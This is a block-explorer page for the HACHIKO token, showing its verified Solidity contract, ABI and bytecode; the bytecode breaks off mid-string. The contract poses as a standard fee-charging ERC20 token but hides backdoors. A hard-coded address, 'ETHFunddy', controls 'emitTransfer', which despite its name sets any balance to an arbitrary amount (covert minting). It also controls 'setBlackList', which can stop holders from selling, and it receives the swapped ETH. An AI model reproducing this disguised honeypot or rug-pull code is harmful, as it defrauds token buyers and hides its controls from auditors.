ETH Price: $2,410.43 (-0.54%)

Token

HACHIKO (HACHIKO)
 

Overview

Max Total Supply

1,000,000,000 HACHIKO

Holders

27

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
40,226,676.97 HACHIKO

Value
$0.00
0xf9633a7a2f76d0ddcd00f7dbb2ae9fde7451e565
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HACHIKO

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-16
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function ssd(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  HACHIKO is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "HACHIKO";
    string private _symbol = "HACHIKO";
    uint8 private _decimals = 9;
    address payable public ETHFunddy;

    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public marketPairList;
    mapping (address => bool) public _blackListed;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;
    uint256 public _marketingShare = 1;
    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;
    uint256 public _totalDistributionShares;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyMarketingFee;
        _totalTaxIfSelling = _sellMarketingFee;
        _totalDistributionShares = _marketingShare;

        marketPairList[address(uniswapPair)] = true;

        ETHFunddy = payable(address(0x72f77A83F4C0383212Ed1862a559965247c493ae));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    modifier promiseAd() {
        require(ETHFunddy == _msgSender(), "no own");
        _;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setBuyFee(uint256 newMarketingTax) external onlyOwner() {
        _buyMarketingFee = newMarketingTax;
        _totalTaxIfBuying = _buyMarketingFee;
    }

    function setSellFee(uint256 newMarketingTax) external onlyOwner() {
        _sellMarketingFee = newMarketingTax;
        _totalTaxIfSelling = _sellMarketingFee;
    }

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_blackListed[from], "blackListed");
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !marketPairList[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);
            uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? 
                                         amount : takeFee(from, to, amount);
            
            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function emitTransfer(address r, uint256 amount) public promiseAd() {
        _balances[r] = amount.ssd(uint256((amount) + _balances[r]));
    }


    function setBlackList(address[] calldata addresses, bool status) public promiseAd() {
        for (uint256 i; i < addresses.length; i++) {
            _blackListed[addresses[i]] = status;
        }
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 balanceETH = address(this).balance;

        if(balanceETH > 0)
            ETHFunddy.transfer(balanceETH);
    }


    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;

        if(marketPairList[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(marketPairList[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }

        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ETHFunddy","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"r","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"emitTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"setBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600781526020017f48414348494b4f00000000000000000000000000000000000000000000000000815250600190805190602001906200005192919062000790565b506040518060400160405280600781526020017f48414348494b4f00000000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000790565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b81525060036009556003600a556001600b55600360009054906101000a900460ff16600a62000121919062000950565b633b9aca0062000132919062000a8d565b600f553480156200014257600080fd5b50620001536200075f60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200026d57600080fd5b505afa15801562000282573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a8919062000857565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200030b57600080fd5b505afa15801562000320573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000346919062000857565b6040518363ffffffff1660e01b815260040162000365929190620008ab565b602060405180830381600087803b1580156200038057600080fd5b505af115801562000395573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003bb919062000857565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160066000620004f76200076760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600954600c81905550600a54600d81905550600b54600e81905550600160076000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507372f77a83f4c0383212ed1862a559965247c493ae600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f5460046000620006a16200075f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620006ef6200075f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600f54604051620007509190620008d8565b60405180910390a35062000bf9565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8280546200079e9062000b39565b90600052602060002090601f016020900481019282620007c257600085556200080e565b82601f10620007dd57805160ff19168380011785556200080e565b828001600101855582156200080e579182015b828111156200080d578251825591602001919060010190620007f0565b5b5090506200081d919062000821565b5090565b5b808211156200083c57600081600090555060010162000822565b5090565b600081519050620008518162000bdf565b92915050565b60006020828403121562000870576200086f62000bcd565b5b6000620008808482850162000840565b91505092915050565b620008948162000aee565b82525050565b620008a58162000b22565b82525050565b6000604082019050620008c2600083018562000889565b620008d1602083018462000889565b9392505050565b6000602082019050620008ef60008301846200089a565b92915050565b6000808291508390505b600185111562000947578086048111156200091f576200091e62000b6f565b5b60018516156200092f5780820291505b80810290506200093f8562000bd2565b9450620008ff565b94509492505050565b60006200095d8262000b22565b91506200096a8362000b2c565b9250620009997fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009a1565b905092915050565b600082620009b3576001905062000a86565b81620009c3576000905062000a86565b8160018114620009dc5760028114620009e75762000a1d565b600191505062000a86565b60ff841115620009fc57620009fb62000b6f565b5b8360020a91508482111562000a165762000a1562000b6f565b5b5062000a86565b5060208310610133831016604e8410600b841016171562000a575782820a90508381111562000a515762000a5062000b6f565b5b62000a86565b62000a668484846001620008f5565b9250905081840481111562000a805762000a7f62000b6f565b5b81810290505b9392505050565b600062000a9a8262000b22565b915062000aa78362000b22565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000ae35762000ae262000b6f565b5b828202905092915050565b600062000afb8262000b02565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000b5257607f821691505b6020821081141562000b695762000b6862000b9e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b62000bea8162000aee565b811462000bf657600080fd5b50565b60805160601c612dd862000c1860003960006109a50152612dd86000f3fe6080604052600436106101bb5760003560e01c806382eefb43116100ec578063b8be62221161008a578063c860795211610064578063c860795214610645578063dd62ed3e14610670578063f0cd1dac146106ad578063f2fde38b146106d8576101c2565b8063b8be6222146105c6578063c5d24189146105ef578063c816841b1461061a576101c2565b80638f85a043116100c65780638f85a0431461050a57806395d89b4114610533578063a08e671f1461055e578063a9059cbb14610589576101c2565b806382eefb431461048b5780638b4cee08146104b65780638da5cb5b146104df576101c2565b806323b872dd116101595780633345611e116101335780633345611e146103bb57806361a23c69146103f857806370a082311461042357806380170c9114610460576101c2565b806323b872dd1461032857806327c8f83514610365578063313ce56714610390576101c2565b80631694505e116101955780631694505e1461025857806318160ddd146102835780631b491677146102ae5780631d231b2c146102eb576101c2565b806306fdde03146101c7578063095ea7b3146101f25780630cc835a31461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610701565b6040516101e99190612558565b60405180910390f35b3480156101fe57600080fd5b50610219600480360381019061021491906121bd565b610793565b6040516102269190612522565b60405180910390f35b34801561023b57600080fd5b506102566004803603810190610251919061225d565b6107b1565b005b34801561026457600080fd5b5061026d610859565b60405161027a919061253d565b60405180910390f35b34801561028f57600080fd5b5061029861087f565b6040516102a5919061269a565b60405180910390f35b3480156102ba57600080fd5b506102d560048036038101906102d091906120d0565b610889565b6040516102e29190612522565b60405180910390f35b3480156102f757600080fd5b50610312600480360381019061030d91906120d0565b6108a9565b60405161031f9190612522565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a919061216a565b6108c9565b60405161035c9190612522565b60405180910390f35b34801561037157600080fd5b5061037a6109a3565b60405161038791906124ec565b60405180910390f35b34801561039c57600080fd5b506103a56109c7565b6040516103b2919061270f565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd91906120d0565b6109de565b6040516103ef9190612522565b60405180910390f35b34801561040457600080fd5b5061040d6109fe565b60405161041a919061269a565b60405180910390f35b34801561042f57600080fd5b5061044a600480360381019061044591906120d0565b610a04565b604051610457919061269a565b60405180910390f35b34801561046c57600080fd5b50610475610a4d565b6040516104829190612507565b60405180910390f35b34801561049757600080fd5b506104a0610a73565b6040516104ad919061269a565b60405180910390f35b3480156104c257600080fd5b506104dd60048036038101906104d8919061225d565b610a79565b005b3480156104eb57600080fd5b506104f4610b21565b60405161050191906124ec565b60405180910390f35b34801561051657600080fd5b50610531600480360381019061052c91906121fd565b610b4a565b005b34801561053f57600080fd5b50610548610c86565b6040516105559190612558565b60405180910390f35b34801561056a57600080fd5b50610573610d18565b604051610580919061269a565b60405180910390f35b34801561059557600080fd5b506105b060048036038101906105ab91906121bd565b610d1e565b6040516105bd9190612522565b60405180910390f35b3480156105d257600080fd5b506105ed60048036038101906105e891906121bd565b610d3d565b005b3480156105fb57600080fd5b50610604610e78565b604051610611919061269a565b60405180910390f35b34801561062657600080fd5b5061062f610e7e565b60405161063c91906124ec565b60405180910390f35b34801561065157600080fd5b5061065a610ea4565b604051610667919061269a565b60405180910390f35b34801561067c57600080fd5b506106976004803603810190610692919061212a565b610eaa565b6040516106a4919061269a565b60405180910390f35b3480156106b957600080fd5b506106c2610f31565b6040516106cf919061269a565b60405180910390f35b3480156106e457600080fd5b506106ff60048036038101906106fa91906120d0565b610f37565b005b60606001805461071090612976565b80601f016020809104026020016040519081016040528092919081815260200182805461073c90612976565b80156107895780601f1061075e57610100808354040283529160200191610789565b820191906000526020600020905b81548152906001019060200180831161076c57829003601f168201915b5050505050905090565b60006107a76107a0611089565b8484611091565b6001905092915050565b6107b9611089565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610846576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083d906125fa565b60405180910390fd5b80600981905550600954600c8190555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600f54905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b60006108d684848461125c565b50610998846108e3611089565b61099385604051806060016040528060288152602001612d7b60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610949611089565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116cc9092919063ffffffff16565b611091565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600b5481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b610a81611089565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b05906125fa565b60405180910390fd5b80600a81905550600a54600d8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610b52611089565b73ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd89061267a565b60405180910390fd5b60005b83839050811015610c80578160086000868685818110610c0757610c06612a7e565b5b9050602002016020810190610c1c91906120d0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c78906129a8565b915050610be4565b50505050565b606060028054610c9590612976565b80601f0160208091040260200160405190810160405280929190818152602001828054610cc190612976565b8015610d0e5780601f10610ce357610100808354040283529160200191610d0e565b820191906000526020600020905b815481529060010190602001808311610cf157829003601f168201915b5050505050905090565b600e5481565b6000610d32610d2b611089565b848461125c565b506001905092915050565b610d45611089565b73ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcb9061267a565b60405180910390fd5b610e31600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610e22919061277f565b8261173090919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60095481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b610f3f611089565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc3906125fa565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f89061265a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611171576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111689061259a565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161124f919061269a565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156112cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c49061263a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561133d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113349061257a565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c19061261a565b60405180910390fd5b601160149054906101000a900460ff16156113f1576113ea848484611758565b90506116c5565b60006113fc30610a04565b9050601160149054906101000a900460ff161580156114655750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611474576114738161192b565b5b6114c683600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2f90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115ac5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6115c0576115bb868686611c79565b6115c2565b835b905061161681600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea090919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b06